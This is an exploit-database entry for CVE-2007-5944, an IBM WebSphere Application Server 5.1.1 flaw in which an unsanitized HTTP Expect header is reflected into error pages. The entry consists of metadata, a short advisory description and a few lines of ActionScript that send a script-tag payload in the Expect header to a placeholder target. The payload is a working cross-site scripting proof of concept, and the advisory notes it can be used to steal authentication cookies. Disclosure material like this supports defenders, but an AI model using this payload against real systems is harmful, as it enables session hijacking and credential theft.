IBM Websphere Application Server 5.1.1 - WebContainer HTTP Request Header Security

Author: anonymous
type: remote
platform: multiple
port: 
date_added: 2007-11-15 
date_updated: 2014-01-07 
verified: 1 
codes: CVE-2007-5944;OSVDB-38700 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/26457/info

IBM WebSphere Application Server is prone to a security weakness regarding an HTTP request header. The software fails to sanitize a certain HTTP header when the data is redirected to an error message.

An attacker may exploit this issue to steal cookie-based authentication credentials and launch other attacks.

var req:LoadVars=new LoadVars();
req.addRequestHeader("Expect",
"<script>alert('gotcha!')</script>");
req.send("http://www.target.site/","_blank","GET");